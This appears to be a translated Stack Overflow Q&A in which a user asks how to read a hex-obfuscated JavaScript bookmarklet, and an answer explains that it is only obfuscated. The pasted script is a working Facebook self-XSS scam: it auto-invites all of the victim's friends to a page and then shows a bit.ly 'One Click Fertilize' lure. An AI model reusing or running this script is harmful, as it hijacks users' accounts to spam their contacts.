Javascript编译与否?检查里面 [英] Javascript compiled or not? Check inside
问题描述
请注意，我对Java没有经验.如果JavaScript代码是这样启动的:
Note that I am not experienced with Javascript. If a javascript code starts like this:
javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...
然后编译了吗?如果是这样，有什么反编译的方式吗?如果未编译，那么如何阅读此类代码有帮助吗?
Then is it compiled? If so, any way of decompiling it? If it is not compiled, then any help on how to read this type of code?
任何帮助将不胜感激.
谢谢大家的回应.哇，我不知道我会很快得到答复，对Stackoverflow表示敬意.
Thank you all for the kind responds. And wow, I had no idea that I would get replied this quickly, kudos to Stackoverflow.
尽管如此，任何人都可以帮助我使此内容比以下内容更具可读性:
Nevertheless, can anyone help me make this more readible than:
var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
"\x73\x75\x67\x67\x65\x73\x74",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));
推荐答案
它只是被混淆了. _0x89f8 是普通变量，"\ x69 \ x6E \ x6E \ x65 \ x72 \ x48 \ x54 \ x4D \ x4C" 是普通字符串(除所有已写字符外)以十六进制表示: \ x69 是 i ，依此类推；它表示"innerHTML" ).
It's merely obfuscated. _0x89f8 is a normal variable, "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C" is a normal string (except with all characters written in hexadecimal: \x69 is i and so on; it says "innerHTML").
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